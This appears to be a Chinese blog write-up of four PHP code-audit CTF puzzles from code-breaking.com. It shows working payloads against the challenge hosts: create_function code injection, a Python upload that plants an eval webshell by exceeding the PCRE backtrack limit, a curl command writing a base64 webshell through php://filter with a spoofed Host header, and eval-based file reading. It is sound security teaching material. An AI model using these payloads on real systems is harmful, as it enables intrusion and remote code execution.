Facebook Twitter Linkedin YouTube VK Xing

ph师傅的代码审计星球

之前看到ph师傅代码审计星球的广告,看了第一道题就觉得蛮有意思的,于是就入了一波2333,简单记录一下自己能做的或是找到wp学习的题目..顺手推广一下..
链接:https://code-breaking.com/puzzle/1/

easy – function

源码

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

思路

首先看到动态调用的action做了正则限制,所以想办法绕正则,一开始想通过范围解释操作符来绕

比如SimpleXMLElement::xpath

但是找了很久,发现很多东西都用不起来,因为很难找到第一个参数为空的有用的东西.没办法再去找了找资料

然后发现可以通过命名空间来绕过前面的限制,比如var_dump表示全局命名空间

但是又有什么函数可以第一个参数为空呢?
想到hitcon出现过的create_function利用多线程暴破匿名函数
显然create_function是可以用的

弃用无所谓,后面发现还是可以用的
create_function可能存在的问题也很明显,就是代码注入,比如

从而可以任意代码执行,但是又碰到问题了

disable functions

system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log

想到flag肯定是文件形式,那么用scandir就好,在上一级目录发现flag

file_get_contents获取flag,最终payload

http://51.158.75.42:8087/?action=create_function&arg=echo%20%22123%22;}var_dump(file_get_contents(%27../flag_h0w2execute_arb1trary_c0de%27));/*

拿到返回

Deprecated: Function create_function() is deprecated in /var/www/html/index.php on line 8

Warning: Unterminated comment starting line 1 in /var/www/html/index.php(8) : runtime-created function on line 1
string(38) "flag{03fdc0ee2fc464aac3c40ef0e20dcb5a}"

easy – pcrewaf

源码

<?php
function is_php($data){
    return preg_match('/<?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
} 

思路

一开始头铁,觉得能过这个正则..
也确实可以,在php7以下可用

<script language="php">phpinfo();</script>

具体可以去看php的源码
php7之前的最高版本5.6.39
https://github.com/php/php-src/blob/PHP-5.6.39/Zend/zend_language_scanner.l

而一到php7就没这种解析了

而目标环境就是php7,到这里我就已经不会了…

后来看的wp
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

说到底就是PHP的pcre.backtrack_limit限制利用,当回溯次数超过限制的时候,正则表达式会返回false,而不是0或1

那么就可以利用这个点来进行攻击,poc的话前面的链接也有

import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

想要避免这个问题,在使用的时候用===来判断而不是==或直接判断

easy – phpmagic

源码

<?php
if(isset($_GET['read-source'])) {
    exit(show_source(__FILE__));
}

define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));

if(!is_dir(DATA_DIR)) {
    mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);

$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
<!doctype html>
<html lang="en">
<head>
    <!-- Required meta tags -->
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

    <!-- Bootstrap CSS -->
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/css/bootstrap.min.css" integrity="sha256-eSi1q2PG6J7g7ib17yAaWMcrr5GrtohYChqibrV7PBE=" crossorigin="anonymous">

    <title>Domain Detail</title>
    <style>
    pre {
        width: 100%;
        background-color: #f6f8fa;
        border-radius: 3px;
        font-size: 85%;
        line-height: 1.45;
        overflow: auto;
        padding: 16px;
        border: 1px solid #ced4da;
    }
    </style>
</head>
<body>

<div class="container">
    <div class="row">
        <div class="col">
            <form method="post">
                <div class="input-group mt-3">
                    <div class="input-group-prepend">
                        <span class="input-group-text" id="basic-addon1">dig -t A -q</span>
                    </div>
                    <input type="text" name="domain" class="form-control" placeholder="Your domain">
                    <div class="input-group-append">
                        <button class="btn btn-outline-secondary" type="submit">执行</button>
                    </div>
                </div>
            </form>
        </div>

    </div>

    <div class="row">
        <div class="col">
            <pre class="mt-3"><?php if(!empty($_POST) && $domain):
                $command = sprintf("dig -t A -q %s", escapeshellarg($domain));
                $output = shell_exec($command);

                $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

                $log_name = $_SERVER['SERVER_NAME'] . $log_name;
                if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
                    file_put_contents($log_name, $output);
                }

                echo $output;
            endif; ?></pre>
        </div>
    </div>

</div>

</body>
</html> 

思路

简单审计一下,发现可以把dig的结果存到一个文件,那么就可以利用这一点来写shell,后面进行了一个简单的判断,然后用file_put_contents来写文件,简单测试一下

那么写文件就不成问题了,那么问题是怎么写shell呢?
尖括号都会被转义掉,这里本来考虑到了伪协议的问题,不过卡在了$_SERVER['SERVER_NAME']的绕过

后来看到

还是不太明白,看看英文版

‘SERVER_NAME’ The name of the server host under which the current script is executing. If the script is running on a virtual host, this will be the value defined for that virtual host.

Note: Under Apache 2, you must set UseCanonicalName = On and ServerName. Otherwise, this value reflects the hostname supplied by the client, which can be spoofed. It is not safe to rely on this value in security-dependent contexts.

发现可以由hostname伪造,试试看改host

那么

file_put_contents($log_name, $output);

这个log_name就是可控的,从而可以通过伪协议写shell

用伪协议的时候将domain给base一下,然后控制log_name来解base,从而还原shell

注意base的时候pad到字符是4的倍数,我这里多试了几次

curl -X POST -d 'domain=PD9waHAKZXZhbCgkX0dFVFsnYmxhY3NoZWVwJ10pOwo/Pg&log=://filter/write=convert.base64-decode/resource=blacsheep3.php/.' -H "Host: php" 'http://51.158.75.42:8082/'

然后拿到shell

easy – phplimit

源码

<?php
if(';' === preg_replace('/[^W]+((?R)?)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}

分析

2018rctf的r-cursive的一部分
参考:https://xz.aliyun.com/t/2347

看到他们之前的payload
尝试getallheaders但是失败了,又看到

?cmd=print(readdir(opendir(getcwd()))); 可以列目录
?cmd=print(readfile(readdir(opendir(getcwd())))); 读文件
?cmd=print(dirname(dirname(getcwd()))); print出/var/www

稍作修改,获得下面的payload

http://51.158.75.42:8084/?code=print_r%28readfile%28array_rand%28array_flip%28scandir%28dirname%28chdir%28dirname%28getcwd%28%29%29%29%29%29%29%29%29%29%3B

因为设计到array_rand,所以只是可能拿到flag…
多刷几次就好,主要还是通过dirname获取目录来进行返回

后来看了一波wp..
两种方法

get_defined_vars

所以直接用就好

注意把a(命令参数)放在前面,方便执行的时候先执行然后加注释,不然执行不了命令,比如scandir()就会爆内存

然后拿到flag

另一种绕过

code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
用的array_reverse()next()绕过的

Leave a Reply

Your email address will not be published.Required fields are marked *

%d 博主赞过: